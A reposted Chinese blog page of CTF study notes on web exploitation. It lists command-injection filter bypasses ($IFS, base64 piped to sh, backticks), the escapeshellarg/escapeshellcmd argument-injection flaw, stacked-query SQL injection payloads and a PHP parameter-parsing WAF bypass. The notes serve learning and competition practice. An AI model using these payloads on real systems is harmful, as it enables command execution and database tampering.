zoukankan      html  css  js  c++  java
  • CTF知识点总结(三)

    命令执行

    https://www.cnblogs.com/wangtanzhi/p/12246386.html

    空格绕过方式:

    $IFS
    ${IFS}
    $IFS$数字 
    < 
    <> 
    

    三种绕过方式:

    1.sh

    /?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
    

    2.变量拼接

    /?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
    

    3.内联注释(将反引号命令的结果作为输入来执行命令)

    /?ip=127.0.0.1;cat$IFS$2`ls`
    

    md5()漏洞

    ​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,

    escapeshellarg()与escapeshellcmd()漏洞

    <?php
    $a="172.17.0.2' -v -d a=1";
    $b=escapeshellarg($a);
    $c=escapeshellcmd($b);
    echo $a."<br/>".$b."<br/>".$c;
    system($c);
    ?>
    

    输出

    172.17.0.2' -v -d a=1
    '172.17.0.2''' -v -d a=1'
    '172.17.0.2''' -v -d a=1'

    1.$a传入的参数是172.17.0.2' -v -d a=1

    2.经过escapeshellargs()处理后成为'172.17.0.2'' -v -d a=1' 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

    3.经过escapeshellcmd()处理后成为'172.17.0.2''' -v -d a=1' 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

    4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

    所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

    这样就能绕过过滤进行注入。

    sql注入绕过关键字

    获取信息

    show databases;
    show tables;
    show columns from `table_name`;
    

    修改表名

    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);#
    

    预编译

    1';
    SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
    prepare execsql from @a;
    execute execsql;#
    

    另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

    1';
    HANDLER FlagHere OPEN;
    HANDLER FlagHere READ FIRST;
    HANDLER FlagHere CLOSE;#
    

    preg_replace/e的命令执行漏洞

    MYSQL特殊模式(set sql_mode=pipes_as_concat

    ​ 此模式下,输出字符串可以进行拼接

    img

    PHP字符串解析特性(Easy Calc)

    ​ PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

    ​ 假如waf不允许num变量传递字母:

    http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话
    

    那么我们可以在num前加个空格:

    http://www.xxx.com/index.php? num = aaaa
    

    这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

    另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

  • 相关阅读:
    利用 StartLoadingStatus 和 FinishLoadingStatus 读取数据特别是大数据时增加渐隐渐显等待特效
    在Indicator中添加动态Checkbox,无需绑定数据源,支持全选
    修复DBGrideh使用TMemTableEh在Footers求平均值为0的Bug
    字符串操作之格式化
    关于C#里面SQLite读取数据的操作
    多线程“尚未调用coinitialize” 报错
    自动化脚本运行稳定性(一)——脚本健壮性
    接口测试用例编写规范
    测试计划对应用质量的影响
    MySQL数据操作语句精解
  • 原文地址:https://www.cnblogs.com/iloveacm/p/13687654.html
Copyright © 2011-2022 走看看